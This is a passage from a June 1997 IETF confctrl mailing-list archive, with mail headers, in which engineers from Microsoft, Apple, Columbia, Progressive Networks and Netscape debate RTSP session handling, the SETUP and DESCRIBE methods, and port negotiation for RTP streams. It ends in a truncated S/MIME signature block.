RTP stream. If so, a logical presentation with 5 media types each with
their own RTP session will be "managed" by 5 separate RTSP sessions!
Thus, five sockets will be needed to control five other sockets (data
streams) -- a most ineffectual use of resources!! *I would like to
provide "push back" against this concept in the general case.* Please
consider:

1) SDP provides a mechanism for associating multiple RTP sessions into
one logical presentation (e.g., see the example on page 8 of the -03
version of the spec where audio, video, and whiteboard "m" fields are
included in a single SDP announcement).

2) In the general case, RTSP users will want to "control" the various
RTP streams as a unit (i.e., as a logical presentation). Users will want
to start, stop, and pause these streams as a unit. Because this is the
"general" and "most common" case, this should be the usage for which
RTSP is optimized.

3) Thus, all that is needed is a mechanism by which to associate
SDP-like "logical presentation" definitions with a logical presentation
as well as to permit that same RTSP session to control each of the
various RTP sessions found within that "logical presentation". The
"grouping" is established by the DESCRIBE method (e.g., the SDP usage
above) and the method by which individual control can occur is defined
in RTSP section 3.2, with the needed caveate that only the streams
defined within DESCRIBE can be controlled (otherwise we would have the
same problems synchronizing between diverse multimedia streams which the
W3C Multimedia Synchronization WG is addressing (e.g., via RTSL or
similar approaches)).

4)  Limitations within the current RTSP SETUP method definition appear
to be the basis for the desire to not permit RTSP to fulfil its original
vision of being able to control an entire logical presentation by a
single RTSP session. This problem exists, I believe, because the current
SETUP method is superflous if one also uses a DESCRIBE method. Thus, I
propose that the spec be altered to state that either SETUP or DESCRIBE
must be used but it is optional (not-required) to use them both
together.

In any case, should one use the RTSP DESCRIBE method then one can obtain
all of the transport information used for the streamed media (e.g., via
using SDP). One can also continue to manipulate the individual streams
as currently stated in the spec (e.g., see example in section 9.4 of the
current version of the RTSP spec which shows how to indepently control
individual RTP streams from a single RTSP control session).

However, a DESCRIBE method containing protocol transport info (such as
all standard SDP-based usages as well as most/many proprietary
approaches) does not need a SETUP since it already contains all of the
information which SETUP will provide -- and do so in a more flexible and
useful fashion without violating the "presentation format" neutrality
goals of RTSP. And since the problem seems to be a function of
inadequacies within the definition of SETUP in the first place, this
seems to be a possible solution to the problem. (Another solution would
be to fix SETUP, but why do that when it is redundant?) Feedback??

From majordom@ISI.EDU  Mon Jun 23 08:30:41 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24644>; Mon, 23 Jun 1997 15:30:49 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24636>; Mon, 23 Jun 1997 15:30:46 -0700
Received: from mail-out1.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA24257>; Mon, 23 Jun 1997 15:30:46 -0700
Received: from scv4.apple.com (A17-128-100-142.apple.com [17.128.100.142])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id PAA14794
	for <confctrl@ISI.EDU>; Mon, 23 Jun 1997 15:28:20 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv4.apple.com (8.8.5/8.8.5) with ESMTP id PAA16894
	for <confctrl@ISI.EDU>; Mon, 23 Jun 1997 15:30:41 -0700
Date: Mon, 23 Jun 1997 15:30:41 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020926afd445495065@[17.255.20.120]>
In-Reply-To: 
 <503A2A3C2932CF118D8800805FD44E18039BD752@RED-68-MSG.dns.microsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU
From: Alagu Periyannan <alagu@apple.com>
Subject: RE: Relationship between RTSP URL and transport
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 1:36 PM -0700 6/23/97, Eric Fleischman wrote:
>
>As I read this message and subsequent postings, I (hopefully
>incorrectly) see a desire to migrate the current version of the RTSP
>spec into a version where one RTSP session will be needed manage each
>RTP stream. If so, a logical presentation with 5 media types each with
>their own RTP session will be "managed" by 5 separate RTSP sessions!
>Thus, five sockets will be needed to control five other sockets (data
>streams) -- a most ineffectual use of resources!! *I would like to
>provide "push back" against this concept in the general case.* Please
>consider:
>

My understanding is that there will be 5 RTSP "sessions", but
all of them over a single "connection" to the RTSP server.
Hence, there will be no need for 5 sockets. (You could have
5 connections if you want, but 1 is sufficient.)

It turns out that when using RTP for the data stream your
calculation of the number of sockets used is in fact
close to the correct number, but for the wrong reasons.
A total of 11 sockets will be needed, 1 for RTSP, 5 for RTP
and 5 for RTCP.




---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Mon Jun 23 15:01:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27269>; Mon, 23 Jun 1997 16:01:30 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27262>; Mon, 23 Jun 1997 16:01:27 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA26348>; Mon, 23 Jun 1997 16:01:24 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA08092; Mon, 23 Jun 1997 19:01:20 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id TAA03868; Mon, 23 Jun 1997 19:01:19 -0400 (EDT)
Message-Id: <33AF003F.2DF7@cs.columbia.edu>
Date: Mon, 23 Jun 1997 19:01:19 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: Alagu Periyannan <alagu@apple.com>, confctrl@ISI.EDU
Subject: Re: Relationship between RTSP URL and transport
References: <503A2A3C2932CF118D8800805FD44E18039BD752@RED-68-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric Fleischman wrote:
> 
> I am still in a fair bit of shock from Henning Schulzrinne's message of
> 6/17/97:
> 
> >Having a single RTSP session control several different (non-composite)
> >media streams was considered early on, but it gets really messy, as it
> >is hard to express the relationships between media streams without
> >inventing something like RTSL, possibly SDP or the SYMM description.
> >Thus, I'd expect to see a single URL, referring to a session
> description
> >of arbitrary complexity containing several RTSP URLs.
> 
> As I read this message and subsequent postings, I (hopefully
> incorrectly) see a desire to migrate the current version of the RTSP
> spec into a version where one RTSP session will be needed manage each
> RTP stream. If so, a logical presentation with 5 media types each with
> their own RTP session will be "managed" by 5 separate RTSP sessions!
> Thus, five sockets will be needed to control five other sockets (data

To avoid further medical complications (and any legal culpability I
might incur), having 5 RTSP sessions in no way implies 5 sockets. One
will do just fine. Instead of saying

PLAY some_name_aggregate RTSP/1.0

you would/could simply say

PLAY stream1 RTSP/1.0

PLAY stream2 RTSP/1.0

...

PLAY stream5 RTSP/1.0

All sent to one TCP socket and pipelined, or sent in one or more UDP
packet(s).

This does occur a few bytes of overhead, but given the TCP header
overhead, even that is likely to be marginal.

Also, nothing prevents RTSP from controlling more than one RTP stream,
if you (as the client) have the necessary information, e.g., through
SDP, RTSL, or similar and the server knows about it. Take a fictional
SDP description in no way endorsed, vetted or coordinated with Mark:

v=0
o=mhandley ...
s=A multi-stream RTP presentation
i=Just an example
r=rtsp://example.com/presentation

(Since c for control is already taken, I use 'r' for remote.) 

I would argue (and this was the original problem) that having both
per-stream and aggregate control for the same presentation is probably
not such a great idea, although nothing in the RTSP syntax prevents you
from doing this.

The only limitation is that SETUP cannot be used to set up more than one
port number (say). In principle, we could decide that SETUP could use
any of the session description methods (SDP, RTSL, SYMM, etc.). The
SETUP transport parameters were taken as the minimal subset necessary to
ensure that all RTSP-compliant implementations could communicate. I have
no problem with the transport header. It can express a few things (like
interleaving, mode and appending) which SDP would have to "learn" or
which would have to remain in the transport header.

Instead of

SETUP foo RTSP/1.0
Transport: rtp/udp; port=4588; ttl=16

we would have

SETUP foo RTSP/1.0
Content-type: application/sdp

v=0
etc.

or

SETUP foo RTSP/1.0
Content-type: application/symm

<PAR ...>

 
> streams) -- a most ineffectual use of resources!! *I would like to
> provide "push back" against this concept in the general case.* Please
> consider:
> 
> 1) SDP provides a mechanism for associating multiple RTP sessions into
> one logical presentation (e.g., see the example on page 8 of the -03
> version of the spec where audio, video, and whiteboard "m" fields are
> included in a single SDP announcement).
> 
> 2) In the general case, RTSP users will want to "control" the various
> RTP streams as a unit (i.e., as a logical presentation). Users will want
> to start, stop, and pause these streams as a unit. Because this is the
> "general" and "most common" case, this should be the usage for which
> RTSP is optimized.
> 
> 3) Thus, all that is needed is a mechanism by which to associate
> SDP-like "logical presentation" definitions with a logical presentation
> as well as to permit that same RTSP session to control each of the
> various RTP sessions found within that "logical presentation". The
> "grouping" is established by the DESCRIBE method (e.g., the SDP usage
> above) and the method by which individual control can occur is defined
> in RTSP section 3.2, with the needed caveate that only the streams
> defined within DESCRIBE can be controlled (otherwise we would have the
> same problems synchronizing between diverse multimedia streams which the
> W3C Multimedia Synchronization WG is addressing (e.g., via RTSL or
> similar approaches)).
> 
> 4)  Limitations within the current RTSP SETUP method definition appear
> to be the basis for the desire to not permit RTSP to fulfil its original
> vision of being able to control an entire logical presentation by a
> single RTSP session. This problem exists, I believe, because the current
> SETUP method is superflous if one also uses a DESCRIBE method. Thus, I
> propose that the spec be altered to state that either SETUP or DESCRIBE
> must be used but it is optional (not-required) to use them both
> together.
> 
> In any case, should one use the RTSP DESCRIBE method then one can obtain
> all of the transport information used for the streamed media (e.g., via
> using SDP). One can also continue to manipulate the individual streams
> as currently stated in the spec (e.g., see example in section 9.4 of the
> current version of the RTSP spec which shows how to indepently control
> individual RTP streams from a single RTSP control session).
> 
> However, a DESCRIBE method containing protocol transport info (such as
> all standard SDP-based usages as well as most/many proprietary
> approaches) does not need a SETUP since it already contains all of the
> information which SETUP will provide -- and do so in a more flexible and
> useful fashion without violating the "presentation format" neutrality
> goals of RTSP. And since the problem seems to be a function of
> inadequacies within the definition of SETUP in the first place, this
> seems to be a possible solution to the problem. (Another solution would
> be to fix SETUP, but why do that when it is redundant?) Feedback??

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Mon Jun 23 09:52:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02871>; Mon, 23 Jun 1997 16:53:19 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02865>; Mon, 23 Jun 1997 16:53:18 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA29435>; Mon, 23 Jun 1997 16:53:18 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA26234
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Mon, 23 Jun 1997 16:55:21 -0700
Message-Id: <3.0.32.19970623165205.00d73c90@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Mon, 23 Jun 1997 16:52:09 -0700
To: Eric Fleischman <ericfl@MICROSOFT.com>,
        'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        Alagu Periyannan <alagu@apple.com>
From: Rob Lanphier <robla@prognet.com>
Subject: RE: Relationship between RTSP URL and transport
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 01:36 PM 6/23/97 -0700, Eric Fleischman wrote:
>As I read this message and subsequent postings, I (hopefully
>incorrectly) see a desire to migrate the current version of the RTSP
>spec into a version where one RTSP session will be needed manage each
>RTP stream. If so, a logical presentation with 5 media types each with
>their own RTP session will be "managed" by 5 separate RTSP sessions!
>Thus, five sockets will be needed to control five other sockets (data
>streams) -- a most ineffectual use of resources!! 

Whoa, wait a sec.  5 RTSP Sessions != 5 TCP Sockets.  

A single TCP connection is capable of handling 5 RTSP Session, since the
requests are made ala HTTP keep-alive, and the multiplexing is handled via
the "Session:" header field.

We can discuss the rest of your points later, but I want to make sure that
this assumption is not at the foundation of your concern, and how you feel
about your other points based on modifying this assumption.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Mon Jun 23 09:57:38 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03519>; Mon, 23 Jun 1997 16:58:05 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03507>; Mon, 23 Jun 1997 16:58:03 -0700
Received: from mail4.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA29566>; Mon, 23 Jun 1997 16:58:00 -0700
Received: by mail4.microsoft.com with Internet Mail Service (5.0.1458.30)
	id <NMWBSW34>; Mon, 23 Jun 1997 16:58:22 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18039BD75D@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>
Cc: confctrl@ISI.EDU
Subject: RE: Relationship between RTSP URL and transport
Date: Mon, 23 Jun 1997 16:57:38 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Henning Schulzrinne wrote (on June 23, 1997)
>I would argue (and this was the original problem) that having both
>per-stream and aggregate control for the same presentation is probably
>not such a great idea, although nothing in the RTSP syntax prevents you
>from doing this.

I disagree. I believe that the flexibility of being able to have both
per-stream and aggregate control by the same RTSP session is A Good
Thing. It is my personal belief that most usages will be "aggregate
control" uses: The client will want to start a presentation, pause it,
fast forward, etc -- all aggregate control actions. However, the client
may also want to "mute" the audio and record the whiteboard at times
within the session. These latter are per stream control actions. Thus, I
would argue that in the general case it is preferable to
permit/encourageboth aggregate and per stream control by the same RTSP
session and that supporting both is the "more natural" way to control
multimedia content.

>The only limitation is that SETUP cannot be used to set up more than
one
>port number (say). In principle, we could decide that SETUP could use
>any of the session description methods (SDP, RTSL, SYMM, etc.). The
>SETUP transport parameters were taken as the minimal subset necessary
to
>ensure that all RTSP-compliant implementations could communicate. I
have
>no problem with the transport header. It can express a few things (like
>interleaving, mode and appending) which SDP would have to "learn" or
>which would have to remain in the transport header.

The main point of my posting was that SETUP is a feeble method which
should be replaced or supplemented by the DESCRIBE method. This is why I
wanted to make SETUP and DESCRIBE to be peers as far as which is
required (i.e., one is required to use either one or the other with
using both being also permitted). 

However, since you apparently want to continue to keep SETUP as being
required and DESCRIBE as being optional as the spec currently states,
then I would like to suggest that you consider specifying a unique port
value within SETUP (e.g., a "?" as in "port=?") which would be defined
as meaning that the port information must be subsequently specified in
the DESCRIBE method and thus is not being specified by SETUP. In that
way we can cleanly indicate within SETUP that subsequent (e.g., SDP)
information is being carried by DESCRIBE, thus eliminating potential
confusion as to how to identify aggregate control (due to current SETUP
limitations). 

On another topic, your latest posting used language which made me think
that the RTSP authors have expanded the RTSP text -- or at least their
understanding of the text -- considerably beyond the -02 version of the
spec which is available to the list. Would you mind issuing an -03
version of the spec soon so that non-authors and authors can synch up
and verify that we are indeed "on the same page" together?

From majordom@ISI.EDU  Mon Jun 23 10:43:39 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06753>; Mon, 23 Jun 1997 17:44:50 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06743>; Mon, 23 Jun 1997 17:44:48 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA02679>; Mon, 23 Jun 1997 17:44:42 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA30507
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Mon, 23 Jun 1997 17:46:51 -0700
Message-Id: <3.0.32.19970623174337.00bbe804@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Mon, 23 Jun 1997 17:43:39 -0700
To: Alagu Periyannan <alagu@apple.com>, confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: Re: port selection problem (was Re: RTSP and SDP with
  container files)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 10:37 AM 6/23/97 -0700, Alagu Periyannan wrote:
>A better solution is to have a 0 in the port number field
>in the SDP file and negotiate the port number over RTSP.
>To do this we may need to add "cport=" and "sport="
>fields to the Transport header instead of the current
>"port=" field.

Agreed.  We (PN) quite frankly haven't put a lot of thought into the RTCP
problem yet, and so I don't have a quick answer for how the RTCP should be
handled (your suggestion sounds as good as any).  However, I'm definitely
in favor of getting transport issues out of the media description, since I
would hope that firewalls wouldn't have to parse different media
description formats to get the essential transport parameters.

>On a related subject, how does the server get the client's
>IP address in the current scheme? Again this is not a problem
>for the multicast case since a class D address is used.
>But what about for the unicast case?

In the unicast cast, the destination is assumed to be the initiator of the
RTSP connection most of the time.  In the Transport: header field, there is
a way of overriding this default using:

Transport: rtp/udp;port=2344;destination=123.123.123.123

This must be used with great care, though, because this may allow a client
to use a server as a UDP-denial-of-service tool (redirecting large streams
from several servers to an unsuspecting destination).

Rob
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Mon Jun 23 10:18:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07143>; Mon, 23 Jun 1997 17:52:03 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07137>; Mon, 23 Jun 1997 17:52:00 -0700
Received: from mail2.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA03064>; Mon, 23 Jun 1997 17:51:59 -0700
Received: by INET-02-IMC with Internet Mail Service (5.0.1458.49)
	id <NQGCJFD7>; Mon, 23 Jun 1997 17:51:57 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18039BD75F@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Rob Lanphier' <robla@prognet.com>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: Relationship between RTSP URL and transport
Date: Mon, 23 Jun 1997 17:18:57 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.49)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Thanks, Rob, for checking.

I am indeed concerned about the fortuitously incorrect equation but
multiplexing multiple RTSP sessions on the same TCP session does not
really address my concern. These concerns are: 
*	The belief that the spec should cleanly identify a way to have a
single RTSP session control a single logical presentation being carried
via multiple RTP sessions.
*	The belief that that that single RTSP session should cleanly be
able to have both aggregate and per-RTP-session control of that logical
presentation.
*	Dislike of the "gutless" SETUP method which I believe confuses
important aggregate control issues with self-imposed limitations.
*	Desire to supplement  (or replace) SETUP by the more-robust
DESCRIBE method which more cleanly integrates SDP-based setup
information and thereby establishes both the aggregate and the
per-RTP-session identities which can subsequently be controlled by the
same RTSP session. (If the spec wants to continue to be "presentation
agnostic" then you can substitute "proprietary or SDP-based" for
"SDP-based" in the previous sentence if such is its wish.)

> -----Original Message-----
> From:	Rob Lanphier [SMTP:robla@prognet.com]
> Sent:	Monday, June 23, 1997 4:52 PM
> To:	Eric Fleischman; 'Henning Schulzrinne'; Alagu Periyannan
> Cc:	confctrl@ISI.EDU
> Subject:	RE: Relationship between RTSP URL and transport
> 
> At 01:36 PM 6/23/97 -0700, Eric Fleischman wrote:
> >As I read this message and subsequent postings, I (hopefully
> >incorrectly) see a desire to migrate the current version of the RTSP
> >spec into a version where one RTSP session will be needed manage each
> >RTP stream. If so, a logical presentation with 5 media types each
> with
> >their own RTP session will be "managed" by 5 separate RTSP sessions!
> >Thus, five sockets will be needed to control five other sockets (data
> >streams) -- a most ineffectual use of resources!! 
> 
> Whoa, wait a sec.  5 RTSP Sessions != 5 TCP Sockets.  
> 
> A single TCP connection is capable of handling 5 RTSP Session, since
> the
> requests are made ala HTTP keep-alive, and the multiplexing is handled
> via
> the "Session:" header field.
> 
> We can discuss the rest of your points later, but I want to make sure
> that
> this assumption is not at the foundation of your concern, and how you
> feel
> about your other points based on modifying this assumption.
> 
> Rob
> 
> ---
> Rob Lanphier               Voice: (206)674-2322         Fax:
> (206)674-2699
> Program Manager-Protocols                         Email:
> robla@prognet.com
> Progressive Networks-Home of RealAudio            Web:
> http://www.real.com
> For more information on firewalls:
> http://www.real.com/firewall.html
> For more information on RTSP:
> http://www.real.com/prognet/rt

From majordom@ISI.EDU  Mon Jun 23 11:00:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07469>; Mon, 23 Jun 1997 18:00:15 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07452>; Mon, 23 Jun 1997 18:00:11 -0700
Received: from netscape.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA03480>; Mon, 23 Jun 1997 18:00:05 -0700
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id SAA26035
	for <confctrl@ISI.EDU>; Mon, 23 Jun 1997 18:00:03 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA28525;
          Mon, 23 Jun 1997 18:00:02 -0700
Message-Id: <33AF1C10.9D1BF16E@netscape.com>
Date: Mon, 23 Jun 1997 18:00:00 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>,
        Alagu Periyannan <alagu@apple.com>, confctrl@ISI.EDU
Subject: Re: Relationship between RTSP URL and transport
X-Priority: 3 (Normal)
References: <503A2A3C2932CF118D8800805FD44E18039BD752@RED-68-MSG.dns.microsoft.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms0DC740E05678E4F65071C2A3"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This is a cryptographically signed message in MIME format.

--------------ms0DC740E05678E4F65071C2A3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Eric Fleischman wrote:

> I am still in a fair bit of shock from Henning Schulzrinne's message
> of
> 6/17/97:
>
> >Having a single RTSP session control several different
> (non-composite)
> >media streams was considered early on, but it gets really messy, as
> it
> >is hard to express the relationships between media streams without
> >inventing something like RTSL, possibly SDP or the SYMM description.
> >Thus, I'd expect to see a single URL, referring to a session
> description
> >of arbitrary complexity containing several RTSP URLs.
>
> As I read this message and subsequent postings, I (hopefully
> incorrectly) see a desire to migrate the current version of the RTSP
> spec into a version where one RTSP session will be needed manage each
> RTP stream. If so, a logical presentation with 5 media types each with
>
> their own RTP session will be "managed" by 5 separate RTSP sessions!
> Thus, five sockets will be needed to control five other sockets (data
> streams) -- a most ineffectual use of resources!! *I would like to
> provide "push back" against this concept in the general case.* Please
> consider:

An RTSP "Session" is not related to transport connections or sessions.
ie all control messages pertaining to the 5 RTSP sessions can(and
usually will) be on the same transport connection.

> 1) SDP provides a mechanism for associating multiple RTP sessions into
>
> one logical presentation (e.g., see the example on page 8 of the -03
> version of the spec where audio, video, and whiteboard "m" fields are
> included in a single SDP announcement).
>
> 2) In the general case, RTSP users will want to "control" the various
> RTP streams as a unit (i.e., as a logical presentation). Users will
> want
> to start, stop, and pause these streams as a unit. Because this is the
>
> "general" and "most common" case, this should be the usage for which
> RTSP is optimized.
>
> 3) Thus, all that is needed is a mechanism by which to associate
> SDP-like "logical presentation" definitions with a logical
> presentation
> as well as to permit that same RTSP session to control each of the
> various RTP sessions found within that "logical presentation". The
> "grouping" is established by the DESCRIBE method (e.g., the SDP usage
> above) and the method by which individual control can occur is defined
>
> in RTSP section 3.2, with the needed caveate that only the streams
> defined within DESCRIBE can be controlled (otherwise we would have the
>
> same problems synchronizing between diverse multimedia streams which
> the
> W3C Multimedia Synchronization WG is addressing (e.g., via RTSL or
> similar approaches)).
>

We support:
- Multiple URLs and multiple RTSP sessions  to control  multiple
streams/RTP streams that may be part of the same presentation(ie bear a
sync relationship)
- Single URL and single RTSP session to control a stream/RTP streams
that may infact contain multiple interleaved data streams.

Whats seems to be the issue of debate:
"A single URL and single RTSP session to control multiple streams/RTP
streams. "
Is this something the group feels strongly for ?As pointed out(I
think),  this is possible only when tied intricately with the session
description itself - ie the interpretation of a control message
referencing the URL is tied in with the session desc. This will also
involve(as rightly pointed out by Eric and others a modified SETUP
message).

> 4)  Limitations within the current RTSP SETUP method definition appear
>
> to be the basis for the desire to not permit RTSP to fulfil its
> original
> vision of being able to control an entire logical presentation by a
> single RTSP session. This problem exists, I believe, because the
> current
> SETUP method is superflous if one also uses a DESCRIBE method. Thus, I
>
> propose that the spec be altered to state that either SETUP or
> DESCRIBE
> must be used but it is optional (not-required) to use them both
> together.

Keep in mind that we want to allow the client to choose the port in most
cases for the following reasons:-It knows what is free
-User can configure port range to be used to get thru firewalls.

For these reasons, I'd say any solution that has the server returning
randomly chosen ports in reply to DESCRIBE would be a non-starter.

> In any case, should one use the RTSP DESCRIBE method then one can
> obtain
> all of the transport information used for the streamed media (e.g.,
> via
> using SDP). One can also continue to manipulate the individual streams
>
> as currently stated in the spec (e.g., see example in section 9.4 of
> the
> current version of the RTSP spec which shows how to indepently control
>
> individual RTP streams from a single RTSP control session).
>
> However, a DESCRIBE method containing protocol transport info (such as
>
> all standard SDP-based usages as well as most/many proprietary
> approaches) does not need a SETUP since it already contains all of the
>
> information which SETUP will provide -- and do so in a more flexible
> and
> useful fashion without violating the "presentation format" neutrality
> goals of RTSP. And since the problem seems to be a function of
> inadequacies within the definition of SETUP in the first place, this
> seems to be a possible solution to the problem. (Another solution
> would
> be to fix SETUP, but why do that when it is redundant?) Feedback??

   I believe it is not always redundant for reasons mentioned above.
(Also, I dont really see an advantage in the server choosing the port in
the unicast case. Comments ?).



-Anup.


--------------ms0DC740E05678E4F65071C2A3
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIG8gYJKoZIhvcNAQcCoIIG4zCCBt8CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BSQwggJjMIIBzKADAgECAgIBtzANBgkqhkiG9w0BAQQFADB3MQswCQYDVQQGEwJVUzEsMCoG
A1UEChMjTmV0c2NhcGUgQ29tbXVuaWNhdGlvbnMgQ29ycG9yYXRpb24xHDAaBgNVBAsTE0lu
Zm9ybWF0aW9uIFN5c3RlbXMxHDAaBgNVBAMTE3Jvb3RjYS5uZXRzY2FwZS5jb20wHhcNOTcw
NTE2MTY1MTE1WhcNOTcxMTEyMTY1MTE1WjCBgjELMAkGA1UEBhMCVVMxJjAkBgNVBAoTHU5l
dHNjYXBlIENvbW11bmljYXRpb25zIENvcnAuMRMwEQYDVQQDEwpBbnVwIFYgUmFvMSAwHgYJ
KoZIhvcNAQkBFhFhbnVwQG5ldHNjYXBlLmNvbTEUMBIGCgmSJomT8ixkAQETBGFudXAwXDAN
BgkqhkiG9w0BAQEFAANLADBIAkEAmxrdqVlqR3Bmvms7eOyI9bcar073s9d/sUZfvsanTSmP
Zt1XjzIStAbiz2hdH/foScl21jQlAhJ8+Kvqw9B9SQIDAQABozYwNDARBglghkgBhvhCAQEE
BAMCAKAwHwYDVR0jBBgwFoAU/OBU6Afxld4695nGrvoVDG7ELpIwDQYJKoZIhvcNAQEEBQAD
gYEAHwb8ahafhkduRBKdfLIWlpWr6x3T24f0U3pfVse0cVGQf0CpL+CUmPhgedvpccP8iTHB
hFwaVtXzuGp7QUX5j+6netVIZSu4048BF5fBBYRIeMd0T8qxpbTVplOZ/GwaiYLr2RtMyd+0
vgUSYGrj82S/YvzBQp+KvcjQqfnbCM8wggK5MIICIqADAgECAgEBMA0GCSqGSIb3DQEBBAUA
MHcxCzAJBgNVBAYTAlVTMSwwKgYDVQQKEyNOZXRzY2FwZSBDb21tdW5pY2F0aW9ucyBDb3Jw
b3JhdGlvbjEcMBoGA1UECxMTSW5mb3JtYXRpb24gU3lzdGVtczEcMBoGA1UEAxMTcm9vdGNh
Lm5ldHNjYXBlLmNvbTAeFw05NzAzMjYwMTQ0MzhaFw05OTAzMjYwMTQ0MzhaMHcxCzAJBgNV
BAYTAlVTMSwwKgYDVQQKEyNOZXRzY2FwZSBDb21tdW5pY2F0aW9ucyBDb3Jwb3JhdGlvbjEc
MBoGA1UECxMTSW5mb3JtYXRpb24gU3lzdGVtczEcMBoGA1UEAxMTcm9vdGNhLm5ldHNjYXBl
LmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwao+/i0/pYfDR9/72m3YGKBFPfnH
